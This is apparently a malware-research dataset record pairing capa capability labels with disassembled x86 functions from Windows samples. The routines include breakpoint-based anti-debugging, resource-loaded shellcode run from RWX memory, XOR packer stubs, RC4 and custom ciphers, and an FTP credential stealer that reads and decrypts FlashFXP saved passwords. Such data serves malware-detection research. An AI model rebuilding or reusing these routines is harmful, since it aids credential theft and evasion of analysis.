joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44f640
Capabilities:
Check for software breakpoints

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov ecx, dword [ebp + 0x18]
mov esi, dword [ebp + 0x10]
cmp ecx, dword [ebp + 0x14]
jne 0x44f65d
mov dl, byte [esi]
lea eax, [edx - 0x6a]
cmp al, 1
jbe 0x44f688
sub esp, 0xc
push 0x72
push 0x4bff88
push 0x89
push pe_nt_image_headers32
push 4
call fcn.00424150
or esi, 0xffffffff
mov eax, esi
add esp, 0x20
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
lea ebx, [esi + 1]
cmp dl, 0x6b
je 0x44f6b2
lea esi, [ecx - 2]
cmp byte [ebx + esi], 0xcc
jne 0x44f705
push edx
push esi
push ebx
mov eax, dword [ebp + 8]
push eax
call fcn.0049afe8
mov eax, esi
add esp, 0x10
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
lea edi, [ecx - 3]
test edi, edi
jle 0x44f71c
mov dl, byte [esi + 1]
cmp dl, 0xba
je 0x44f71c
cmp dl, 0xbb
jne 0x44f6ee
lea ebx, [esi + 2]
xor eax, eax
mov ecx, edi
jmp 0x44f6df
mov dl, byte [eax + esi + 1]
inc ebx
cmp dl, 0xba
je 0x44f6e8
cmp dl, 0xbb
jne 0x44f6ee
inc eax
cmp eax, ecx
jne 0x44f6d0
test eax, eax
je 0x44f71c
mov esi, edi
sub esi, eax
jmp 0x44f693
sub esp, 0xc
push 0x81
push 0x4bff88
push 0x8a
jmp 0x44f66c
sub esp, 0xc
push 0x93
push 0x4bff88
push 0x8b
jmp 0x44f66c
sub esp, 0xc
push 0x8a
push 0x4bff88
push 0x8a
jmp 0x44f66c
Function at 0x46ba60
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 8
mov ebx, dword [ebp + 8]
push 0x70
push 0
push ebx
call fcn.0049af98
mov dword [ebx], 0x6a09e667
mov dword [ebx + 4], 0xbb67ae85
mov dword [ebx + 8], 0x3c6ef372
mov dword [ebx + 0xc], 0xa54ff53a
mov dword [ebx + 0x10], 0x510e527f
mov dword [ebx + 0x14], 0x9b05688c
mov dword [ebx + 0x18], 0x1f83d9ab
mov dword [ebx + 0x1c], 0x5be0cd19
mov dword [ebx + 0x6c], 0x20
mov eax, 1
mov ebx, dword [ebp - 4]
leave
ret

Function at 0x46bac0
Capabilities:
Hash data using sha224

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 8
mov ebx, dword [ebp + 8]
push 0x70
push 0
push ebx
call fcn.0049af98
mov dword [ebx], 0xc1059ed8
mov dword [ebx + 4], 0x367cd507
mov dword [ebx + 8], 0x3070dd17
mov dword [ebx + 0xc], 0xf70e5939
mov dword [ebx + 0x10], 0xffc00b31
mov dword [ebx + 0x14], 0x68581511
mov dword [ebx + 0x18], 0x64f98fa7
mov dword [ebx + 0x1c], 0xbefa4fa4
mov dword [ebx + 0x6c], 0x1c
mov eax, 1
mov ebx, dword [ebp - 4]
leave
ret

Function at 0x46bd00
Capabilities:
Hash data using sha224

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax], 0xc1059ed8
mov dword [eax + 4], 0xcbbb9d5d
mov dword [eax + 8], 0x367cd507
mov dword [eax + 0xc], 0x629a292a
mov dword [eax + 0x10], 0x3070dd17
mov dword [eax + 0x14], 0x9159015a
mov dword [eax + 0x18], 0xf70e5939
mov dword [eax + 0x1c], 0x152fecd8
mov dword [eax + 0x20], 0xffc00b31
mov dword [eax + 0x24], 0x67332667
mov dword [eax + 0x28], 0x68581511
mov dword [eax + 0x2c], 0x8eb44a87
mov dword [eax + 0x30], 0x64f98fa7
mov dword [eax + 0x34], 0xdb0c2e0d
mov dword [eax + 0x38], 0xbefa4fa4
mov dword [eax + 0x3c], 0x47b5481d
mov dword [eax + 0x40], 0
mov dword [eax + 0x44], 0
mov dword [eax + 0x48], 0
mov dword [eax + 0x4c], 0
mov dword [eax + 0xd0], 0
mov dword [eax + 0xd4], 0x30
mov eax, 1
pop ebp
ret

Function at 0x46bdb0
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax], 0xf3bcc908
mov dword [eax + 4], 0x6a09e667
mov dword [eax + 8], 0x84caa73b
mov dword [eax + 0xc], 0xbb67ae85
mov dword [eax + 0x10], 0xfe94f82b
mov dword [eax + 0x14], 0x3c6ef372
mov dword [eax + 0x18], 0x5f1d36f1
mov dword [eax + 0x1c], 0xa54ff53a
mov dword [eax + 0x20], 0xade682d1
mov dword [eax + 0x24], 0x510e527f
mov dword [eax + 0x28], 0x2b3e6c1f
mov dword [eax + 0x2c], 0x9b05688c
mov dword [eax + 0x30], 0xfb41bd6b
mov dword [eax + 0x34], 0x1f83d9ab
mov dword [eax + 0x38], 0x137e2179
mov dword [eax + 0x3c], 0x5be0cd19
mov dword [eax + 0x40], 0
mov dword [eax + 0x44], 0
mov dword [eax + 0x48], 0
mov dword [eax + 0x4c], 0
mov dword [eax + 0xd0], 0
mov dword [eax + 0xd4], 0x40
mov eax, 1
pop ebp
ret
Function at 0x401371
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
mov esi, dword [esp + 0x8c]
and esi, 0xffff0000
mov eax, esi
cmp word [eax], 0x5a4d
jne 0x401390
add eax, dword [eax + 0x3c]
sub esi, 0x10000
cmp word [eax], 0x4550
jne 0x401384
add esi, 0x10000
push esi
mov eax, 0x40300c
pop dword [eax]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004012d9
mov dword [0x4030fe], eax
push 0x403010
push 0x3e8
push 0
call sub.kernel32.dll_FindResourceA
or eax, eax
jne 0x4013d4
leave
ret 8
push eax
push eax
push 0
call sub.kernel32.dll_SizeofResource
or eax, eax
jne 0x4013e5
leave
ret 8
mov dword [ebp - 8], eax
pop eax
push eax
push 0
call sub.kernel32.dll_LoadResource
or eax, eax
jne 0x4013f9
leave
ret 8
push eax
call sub.kernel32.dll_LockResource
or eax, eax
jne 0x401407
leave
ret 8
mov dword [ebp - 0xc], eax
push 4
push 0x3000
push dword [ebp - 8]
push 0
call sub.kernel32.dll_VirtualAlloc
or eax, eax
jne 0x401423
leave
ret 8
push eax
mov esi, dword [ebp - 0xc]
mov edi, eax
mov ecx, dword [ebp - 8]
rep movsb byte es:[edi], byte [esi]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 8]
push dword [esp + 0xc]
call fcn.00401165
mov ebx, dword [esp]
add ebx, dword [ebx + 0x3c]
lea eax, [ebx + 0x18]
mov ebx, dword [eax + 0x38]
pop eax
push ebx
push 0x8000
push 0
push eax
call sub.kernel32.dll_VirtualFree
mov ebx, dword [ebp + 0xc]
add ebx, dword [ebx + 0x3c]
lea eax, [ebx + 0x18]
mov ebx, dword [eax + 0x38]
mov dword [ebp - 4], ebx
mov ebx, dword [esp]
add ebx, dword [ebp + 0xc]
and ebx, 0xffff0000
add ebx, 0x10000
push 0x40
push 0x3000
push dword [ebp - 4]
push ebx
call sub.kernel32.dll_VirtualAlloc
or eax, eax
je 0x401476
mov edi, eax
mov esi, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
rep movsb byte es:[edi], byte [esi]
push eax
sub eax, dword [ebp + 0xc]
add dword [ebp + 8], eax
mov ebx, 0x4014ec
add ebx, dword [ebp + 8]
mov dword [ebp - 0x14], ebx
mov ebx, 0x401b88
add ebx, dword [ebp + 8]
sub ebx, dword [ebp - 0x14]
mov dword [ebp - 0x10], ebx
lea ebx, [ebp - 0x14]
push ebx
push 0x4012a4
push dword [ebp + 0xc]
call fcn.00401272
pop eax
pop ebx
push eax
push ebx
push dword [ebp + 8]
push dword [ebp - 8]
mov eax, dword [ebp + 8]
add dword [ebp - 0xc], eax
push dword [ebp - 0xc]
mov eax, 0x401757
add eax, dword [ebp + 8]
call eax
leave
ret 8

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
popal
nop
jmp loc.00401219
Function at 0x431002
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40915c
mov ecx, 0x60025fe4
nop
nop
test eax, eax
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x431024
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
mov ecx, 0x229600b8
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x431084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x1000a9bd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
jmp loc.100d872d

Function at 0x10015f90
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
mov ebp, edx
push esi
push edi
mov esi, ebp
xor edi, edi
and esi, 3
mov eax, ecx
jle 0x10015fb1
mov dl, byte [eax]
inc eax
cmp dl, bl
je 0x1001600b
inc edi
cmp edi, esi
jl 0x10015fa5
mov edi, ebx
and edi, 0xff
mov esi, edi
shl esi, 8
or esi, edi
shl esi, 8
or esi, edi
shl esi, 8
or esi, edi
lea edi, [ecx + ebp]
cmp eax, edi
jae 0x10016040
mov edx, dword [eax]
xor edx, esi
lea ebp, [edx - 0x1010101]
not edx
and ebp, edx
test ebp, 0x80808080
je 0x10015ffa
cmp byte [eax], bl
je 0x10016015
cmp byte [eax + 1], bl
je 0x1001601e
cmp byte [eax + 2], bl
je 0x10016028
cmp byte [eax + 3], bl
je 0x10016034
add eax, 4
cmp eax, edi
jb 0x10015fd1
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret 4
pop edi
sub eax, ecx
pop esi
pop ebp
dec eax
pop ebx
ret 4
pop edi
pop esi
pop ebp
sub eax, ecx
pop ebx
ret 4
pop edi
sub eax, ecx
pop esi
pop ebp
inc eax
pop ebx
ret 4
pop edi
sub eax, ecx
pop esi
pop ebp
add eax, 2
pop ebx
ret 4
pop edi
sub eax, ecx
pop esi
pop ebp
add eax, 3
pop ebx
ret 4
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret 4

Function at 0x100163d0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [esp + 0x11c]
lea eax, [esp + 0x18]
mov ebx, edi
xor esi, esi
xor ecx, ecx
sub ebx, eax
mov eax, ecx
lea ebp, [esp + ecx + 0x18]
cdq
idiv dword [esp + 0x124]
mov eax, dword [esp + 0x120]
mov byte [ebx + ebp], cl
inc ecx
cmp ecx, 0x100
mov dl, byte [edx + eax]
mov byte [ebp], dl
jl 0x10016402
lea ebp, [esp + 0x18]
mov eax, edi
sub ebp, edi
mov dword [esp + 0x10], 0x100
mov cl, byte [eax]
xor edx, edx
mov dl, byte [eax + ebp]
mov byte [esp + 0x14], cl
mov ebx, dword [esp + 0x14]
add esi, edx
and ebx, 0xff
add esi, ebx
and esi, 0x800000ff
jns 0x10016462
dec esi
or esi, 0xffffff00
inc esi
mov dl, byte [esi + edi]
mov byte [eax], dl
mov byte [esi + edi], cl
mov ecx, dword [esp + 0x10]
inc eax
dec ecx
mov dword [esp + 0x10], ecx
jne 0x10016439
xor al, al
mov byte [edi + 0x100], al
mov byte [edi + 0x101], al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x10016510
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push esi
push edi
mov edi, dword [esp + 0x14]
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
xor esi, esi
mov byte [esp + 0x18], cl
test edi, edi
mov byte [esp + 8], dl
jle 0x100165ac
mov edx, dword [esp + 0x10]
push ebx
push ebp
mov cl, byte [esp + 0x20]
mov bl, byte [esp + 0x10]
inc cl
mov byte [esp + 0x20], cl
mov ecx, dword [esp + 0x20]
and ecx, 0xff
lea edi, [ecx + eax]
mov cl, byte [ecx + eax]
add bl, cl
mov byte [esp + 0x10], bl
mov ebx, dword [esp + 0x10]
and ebx, 0xff
lea ebp, [ebx + eax]
mov bl, byte [ebx + eax]
mov byte [edi], bl
mov byte [ebp], cl
mov bl, byte [edi]
add bl, cl
and ebx, 0xff
mov cl, byte [ebx + eax]
mov bl, byte [esi + edx]
xor bl, cl
mov ecx, dword [esp + 0x1c]
mov byte [esi + edx], bl
inc esi
cmp esi, ecx
jl 0x1001653b
mov dl, byte [esp + 0x20]
mov cl, byte [esp + 0x10]
pop ebp
pop ebx
pop edi
mov byte [eax + 0x100], dl
mov byte [eax + 0x101], cl
pop esi
pop ecx
ret
pop edi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop esi
pop ecx
ret

Function at 0x1008ac10
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
sub esp, 0x4c
push ebx
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x1008ad1c
test eax, eax
je 0x1008ad1c
push esi
push edi
mov ecx, 0x10
mov esi, 0x100a5fe8
lea edi, [ebp - 0x4c]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp + 0x14]
mov esi, dword [esi]
add esi, eax
mov dword [ebp - 8], esi
xor esi, esi
mov dword [ebp - 4], 0
mov ecx, eax
test edx, edx
jbe 0x1008ad03
lea edi, [eax + 4]
jmp 0x1008ac67
mov ebx, dword [ebp + 8]
movzx eax, byte [esi + ebx]
inc esi
shl eax, 0x10
cmp esi, edx
jne 0x1008ac7c
mov dword [ebp - 4], 2
jmp 0x1008ac9d
movzx ebx, byte [esi + ebx]
shl ebx, 8
inc esi
or eax, ebx
cmp esi, edx
jne 0x1008ac93
mov dword [ebp - 4], 1
jmp 0x1008ac9d
mov edx, dword [ebp + 8]
movzx edx, byte [esi + edx]
or eax, edx
inc esi
mov edx, eax
and edx, 0x3f
cmp edi, dword [ebp - 8]
ja 0x1008ad13
mov ebx, eax
shr ebx, 0x12
and ebx, 0x3f
movzx ebx, byte [ebp + ebx - 0x4c]
mov byte [ecx], bl
mov ebx, eax
shr ebx, 0xc
and ebx, 0x3f
movzx ebx, byte [ebp + ebx - 0x4c]
inc ecx
inc edi
mov byte [ecx], bl
mov ebx, dword [ebp - 4]
inc ecx
inc edi
cmp ebx, 1
jbe 0x1008acd6
mov byte [ecx], 0x3d
jmp 0x1008ace2
shr eax, 6
and eax, 0x3f
mov al, byte [ebp + eax - 0x4c]
mov byte [ecx], al
inc ecx
inc edi
test ebx, ebx
jbe 0x1008aced
mov byte [ecx], 0x3d
jmp 0x1008acf3
mov dl, byte [ebp + edx - 0x4c]
mov byte [ecx], dl
mov edx, dword [ebp + 0xc]
inc ecx
inc edi
cmp esi, edx
jb 0x1008ac64
mov eax, dword [ebp + 0x10]
sub ecx, eax
mov eax, dword [ebp + 0x14]
pop edi
pop esi
mov dword [eax], ecx
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40253c
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2064
call fcn.0040d670
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
xor esi, esi
cmp dword [0x4114d4], esi
push edi
mov dword [ebp - 4], esi
jne 0x402572
jmp 0x402568
push 0x2710
call ebx
call fcn.00406d6f
cmp eax, 1
jne 0x402561
cmp dword [ebp + 0x1c], esi
je 0x402584
push 4
push esi
push 7
call fcn.0040a89c
add esp, 0xc
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor edi, edi
cmp dword [ebp + 0x18], esi
jle 0x4025ba
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00407083
add esp, 0x10
test eax, eax
jne 0x4025c1
push 0xea60
inc edi
call ebx
cmp edi, dword [ebp + 0x18]
jl 0x402594
xor eax, eax
jmp 0x402660
cmp dword [ebp + 0x1c], esi
je 0x4025d3
push 4
push esi
push 8
call fcn.0040a89c
add esp, 0xc
push 0x44
lea eax, [ebp - 0x60]
push esi
push eax
call fcn.0040d5f0
lea eax, [ebp - 0x2060]
add esp, 0xc
push eax
mov edx, 0x40e30c
call fcn.0040550e
pop ecx
mov ecx, dword [ebp + 0x10]
lea eax, [ebp - 0x2060]
call fcn.004054ea
mov ecx, 0x40e310
call fcn.004054ea
cmp dword [ebp + 0x14], esi
je 0x402630
mov edx, dword [ebp + 0x14]
mov eax, str.none
call fcn.00405464
test eax, eax
je 0x402630
mov ecx, dword [ebp + 0x14]
lea eax, [ebp - 0x2060]
call fcn.004054ea
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x60]
push eax
push 0x420e48
push esi
push 0x20
push esi
push esi
push esi
lea eax, [ebp - 0x2060]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x40265d
or dword [ebp - 4], 8
jmp 0x402660
xor eax, eax
inc eax
mov ecx, dword [ebp + 0x20]
cmp ecx, esi
je 0x40266c
mov edx, dword [ebp - 4]
mov dword [ecx], edx
mov ecx, dword [ebp + 0x24]
cmp ecx, esi
je 0x402675
mov dword [ecx], esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4033ce
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
movzx eax, word [ecx]
sub esp, 0x140
push ebx
push esi
xor esi, esi
test ax, ax
push edi
mov edx, ecx
je 0x4033f9
movzx eax, ax
cmp ax, 3
je 0x403401
inc edx
inc edx
movzx eax, word [edx]
test ax, ax
jne 0x4033e9
cmp word [edx], 3
je 0x403401
xor edx, edx
test edx, edx
je 0x403411
call fcn.0040c424
mov dword [ebp - 4], eax
mov ebx, ecx
jmp 0x403429
lea ebx, [ebp - 0x40]
mov eax, ebx
push eax
mov edx, str.yA36zA48dEhfrvghGRg57h5UlDv3
mov dword [ebp - 4], 0x1c
call fcn.0040550e
pop ecx
mov ecx, dword [ebp + 8]
call fcn.0040c424
cdq
sub eax, edx
mov edi, eax
sar edi, 1
cmp edi, 0xff
jge 0x403496
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x140]
call fcn.0040c2f3
test al, al
je 0x403496
dec edi
xor ecx, ecx
xor esi, esi
test edi, edi
jle 0x40348c
cmp esi, dword [ebp - 4]
jne 0x403462
xor esi, esi
mov al, byte [ebx + esi*2]
xor al, byte [ebp + ecx - 0x13f]
mov dl, byte [ebp + ecx - 0x140]
cmp al, dl
jae 0x403479
dec al
sub al, dl
mov edx, dword [ebp + 8]
movzx ax, al
mov word [edx + ecx*2], ax
inc ecx
inc esi
cmp ecx, edi
jl 0x40345b
mov eax, dword [ebp + 8]
and word [eax + ecx*2], 0
mov esi, ecx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x40373d
Capabilities:
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x484
push ebx
push esi
push edi
push 8
xor ebx, ebx
push ebx
lea eax, [ebp - 8]
push eax
call fcn.0040bf5d
lea eax, [ebp - 0x70]
push eax
mov edx, str.SOFTWAREFlashFXP3
call fcn.0040550e
pop ecx
lea eax, [ebp - 0x30]
push eax
mov edx, str.datafolder
call fcn.0040550e
pop ecx
mov esi, 0x104
push esi
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x70]
push eax
lea edi, [ebp - 0x278]
mov eax, 0x80000002
call fcn.004085bb
add esp, 0xc
cmp eax, 0xffffffff
je 0x4037c2
cmp eax, ebx
jbe 0x4037c2
push esi
lea eax, [ebp - 0x480]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x480]
push eax
call fcn.0040349d
pop ecx
pop ecx
cmp dword [ebp - 4], ebx
jne 0x403837
lea eax, [ebp - 0x48]
push eax
mov edx, str.flashfxp
call fcn.0040550e
lea eax, [ebp - 0x48]
pop ecx
mov dword [ebp - 0x18], 0x23
mov dword [ebp - 0x14], 0x1a
mov dword [ebp - 0x10], 0x26
mov dword [ebp - 0xc], eax
xor esi, esi
lea eax, [ebp - 0x278]
push eax
push ebx
push ebx
push dword [ebp + esi*4 - 0x18]
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x40382e
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
push 0x403504
push 2
push 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x278]
push eax
call fcn.00408374
add esp, 0x24
inc esi
cmp esi, 3
jb 0x4037f3
cmp dword [ebp - 4], ebx
jbe 0x403843
mov esi, dword [ebp - 8]
call fcn.00403395
jmp 0x40384c
push dword [ebp - 8]
call fcn.0040befa
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403851
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
mov eax, dword [ecx]
imul eax, eax, 0x8088405
push 0x20
push 0
push dword [esp + 0xc]
inc eax
push 0
push eax
mov dword [ecx], eax
call fcn.004086fc
push edx
push eax
call fcn.004086cd
ret
Function at 0x403874
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
sub esp, 0x108
push ebx
push esi
push edi
call fcn.0040c424
cdq
sub eax, edx
mov esi, eax
sar esi, 1
cmp esi, 0xff
jge 0x403999
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x108]
call fcn.0040c2f3
test al, al
je 0x403999
sub esi, 4
xor ebx, ebx
test esi, esi
mov dword [ebp - 4], 0xcf671
jle 0x4038e1
push 8
lea ecx, [ebp - 4]
lea edi, [ebp + ebx - 0x108]
call fcn.00403851
pop ecx
movsx ecx, al
mov al, byte [edi]
rol al, cl
inc ebx
cmp ebx, esi
mov byte [edi], al
jl 0x4038c1
mov dword [ebp - 4], 0x3039
mov dword [ebp - 8], 0x100
push esi
lea ecx, [ebp - 4]
call fcn.00403851
pop ecx
push esi
lea ecx, [ebp - 4]
movsx edi, al
call fcn.00403851
dec dword [ebp - 8]
pop ecx
movsx ecx, al
lea ecx, [ebp + ecx - 0x108]
mov bl, byte [ecx]
lea eax, [ebp + edi - 0x108]
mov dl, byte [eax]
mov byte [eax], bl
mov byte [ecx], dl
jne 0x4038ef
xor edi, edi
test esi, esi
mov dword [ebp - 4], 0xa564
jle 0x40394b
push 0x100
lea ecx, [ebp - 4]
call fcn.00403851
xor byte [ebp + edi - 0x108], al
inc edi
cmp edi, esi
pop ecx
jl 0x403931
xor edi, edi
test esi, esi
mov dword [ebp - 4], 0xd431
jle 0x403972
push 0x100
lea ecx, [ebp - 4]
call fcn.00403851
sub byte [ebp + edi - 0x108], al
inc edi
cmp edi, esi
pop ecx
jl 0x403958
xor eax, eax
test esi, esi
jle 0x40398d
movzx cx, byte [ebp + eax - 0x108]
mov edx, dword [ebp + 8]
mov word [edx + eax*2], cx
inc eax
cmp eax, esi
jl 0x403978
mov eax, dword [ebp + 8]
and word [eax + esi*2], 0
mov eax, esi
jmp 0x40399b
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4039e7
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x20002
push 8
push dword [0x4244a8]
call edi
mov ebx, eax
xor eax, eax
cmp ebx, eax
mov dword [ebp - 0x14], ebx
je 0x403bb7
push dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push 0xffff
push ebx
push eax
push eax
push eax
call esi
test eax, eax
jbe 0x403bb0
lea ecx, [eax + 1]
mov eax, ebx
call fcn.0040c535
test al, al
je 0x403bb0
push 0xc0c
push 8
push dword [0x4244a8]
call edi
mov edi, eax
test edi, edi
mov dword [ebp - 0x10], edi
je 0x403bb0
lea eax, [edi + 0x3fc]
mov dword [ebp - 8], eax
add eax, 0x1fe
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x74]
push eax
mov edx, str.connections
mov dword [ebp - 4], ebx
call fcn.0040550e
pop ecx
lea eax, [ebp - 0x34]
push eax
mov edx, str.default
call fcn.0040550e
pop ecx
lea eax, [ebp - 0x24]
push eax
mov edx, 0x40e7cc
call fcn.0040550e
pop ecx
lea eax, [ebp - 0x48]
push eax
mov edx, str.username
call fcn.0040550e
pop ecx
lea eax, [ebp - 0x5c]
push eax
mov edx, str.password
call fcn.0040550e
pop ecx
mov ebx, 0xff
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 4]
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x403b90
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 4]
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x403b90
push dword [ebp + 8]
push ebx
push edi
push eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 4]
call esi
test eax, eax
jbe 0x403b90
push dword [ebp + 8]
lea eax, [edi + 0x1fe]
push ebx
push eax
mov dword [ebp - 0x18], eax
push 0
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 4]
call esi
test eax, eax
jbe 0x403b90
push dword [ebp + 8]
lea eax, [ebp - 0x5c]
push ebx
push dword [ebp - 8]
push 0
push eax
push dword [ebp - 4]
call esi
test eax, eax
jbe 0x403b90
push dword [ebp - 8]
call fcn.00403874
test eax, eax
pop ecx
jle 0x403b90
lea eax, [ebp - 0x94]
push eax
mov edx, str.ftp:___s:_s__s_n
call fcn.0040550e
pop ecx
push edi
push dword [ebp - 8]
mov edi, dword [ebp - 0xc]
push dword [ebp - 0x18]
lea eax, [ebp - 0x94]
push eax
mov edx, 0x307
call fcn.0040c4b9
add esp, 0x10
test eax, eax
jle 0x403b8d
push edi
mov edi, dword [ebp + 0xc]
mov ecx, edi
call fcn.0040c0cb
test al, al
pop ecx
je 0x403b8d
inc dword [edi + 4]
mov edi, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
push 1
call fcn.0040c555
test eax, eax
pop ecx
mov dword [ebp - 4], eax
jne 0x403ac5
push edi
call fcn.0040befa
mov ebx, dword [ebp - 0x14]
pop ecx
push ebx
call fcn.0040befa
pop ecx
pop edi
pop esi
pop ebx
leave
ret